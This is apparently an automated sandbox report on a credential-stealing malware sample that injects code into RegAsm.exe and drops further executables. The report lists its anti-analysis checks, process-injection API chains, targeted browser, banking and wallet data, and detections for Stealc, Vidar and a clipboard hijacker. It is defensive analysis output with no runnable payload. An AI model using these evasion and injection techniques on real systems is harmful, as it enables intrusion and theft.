Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-73991

Switches to a custom stack to bypass stack traces

Source: C:\ProgramData\BKKFCFBKFC.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\ProgramData\BKKFCFBKFC.exe	API/Special instruction interceptor: Address: 761C29
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 5DAFBF
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	API/Special instruction interceptor: Address: 761C29

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 12A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 929			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9066			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 7.0 %

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 7136	Thread sleep count: 929 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 7136	Thread sleep time: -209025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 7136	Thread sleep count: 9066 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 7136	Thread sleep time: -2039850s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: EHJKJDGC.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EHJKJDGC.2.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EHJKJDGC.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: EHJKJDGC.2.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EHJKJDGC.2.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: EHJKJDGC.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EHJKJDGC.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: RegAsm.exe, 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: EHJKJDGC.2.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: EHJKJDGC.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: EHJKJDGC.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: EHJKJDGC.2.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: EHJKJDGC.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EHJKJDGC.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EHJKJDGC.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EHJKJDGC.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EHJKJDGC.2.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: EHJKJDGC.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: EHJKJDGC.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EHJKJDGC.2.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EHJKJDGC.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EHJKJDGC.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: EHJKJDGC.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: EHJKJDGC.2.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EHJKJDGC.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: EHJKJDGC.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-73976
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-73979
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-73998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-73997
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-73990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-75154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-73819
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-74019

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0041ACFA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00404610 VirtualProtect ?,00000004,00000100,00000000

2_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419160 mov eax, dword ptr fs:[00000030h]

2_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041C8D9 SetUnhandledExceptionFilter,	2_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEEB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6BEEB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BEEB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6BEEB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C09AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C09AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2680, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02C62131 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02C62131

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D9B008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\BKKFCFBKFC.exe "C:\ProgramData\BKKFCFBKFC.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6BEEB341 cpuid

2_2_6BEEB341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

2_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

2_2_00417420

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_004174D0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000002.2208281616.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: file.exe, 00000000.00000002.2208281616.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.BKKFCFBKFC.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2680, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 2680, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

